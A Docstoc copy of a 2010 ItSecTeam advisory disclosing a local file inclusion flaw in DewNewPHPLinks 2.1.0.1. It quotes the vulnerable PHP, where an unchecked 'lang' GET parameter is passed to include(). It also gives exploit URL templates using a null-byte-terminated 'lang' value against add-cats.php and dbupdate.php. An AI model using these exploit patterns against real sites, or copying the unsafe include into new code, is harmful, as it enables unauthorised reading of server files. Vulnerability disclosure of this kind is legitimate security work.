Docstoc

DewNewPHPLinks 2.1.0.1 LFI

Document Sample
DewNewPHPLinks 2.1.0.1 LFI Powered By Docstoc
					                                         DewNewPHPLinks 2.1.0.1 LFI                                          Page 1/1
  1    #########################local file include#################
  2    Author: ItSecTeam
  3
  4    download from:http://www.dew−code.com/components/com_jooget/file/dew−newphplinks.v.2.1.0.1b.sef.zip
  5
  6    script:DewNewPHPLinks 2.1.0.1
  7
  8    *********************lfi*******************
  9    vul1:/path/docs/add−cats.php
  10   $lang=$_GET[’lang’];
  11   if($lang!=’’)
  12   include ("../include/lang/$lang.php");
  13   −−−−−−−−−−
  14   vul2:/path/docs/dbupdate.php
  15   $lang=$_GET[’lang’];
  16   if($lang!=’’)
  17   include ("../include/lang/$lang.php");
  18
  19   −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
  20
  21   xpl lfi:/path/docs/add−cats.php?lang=[lfi]%00
  22   xpl lfi:/path/docs/dbupdate.php?lang=[lfi]%00
  23   ########################
  24
  25   discovered by ahmadbady
  26
  27   ########################




ItSecTeam                                                                                                    03/18/2010

				
DOCUMENT INFO
Shared By:
Categories:
Stats:
views:39
posted:5/24/2010
language:Vietnamese
pages:1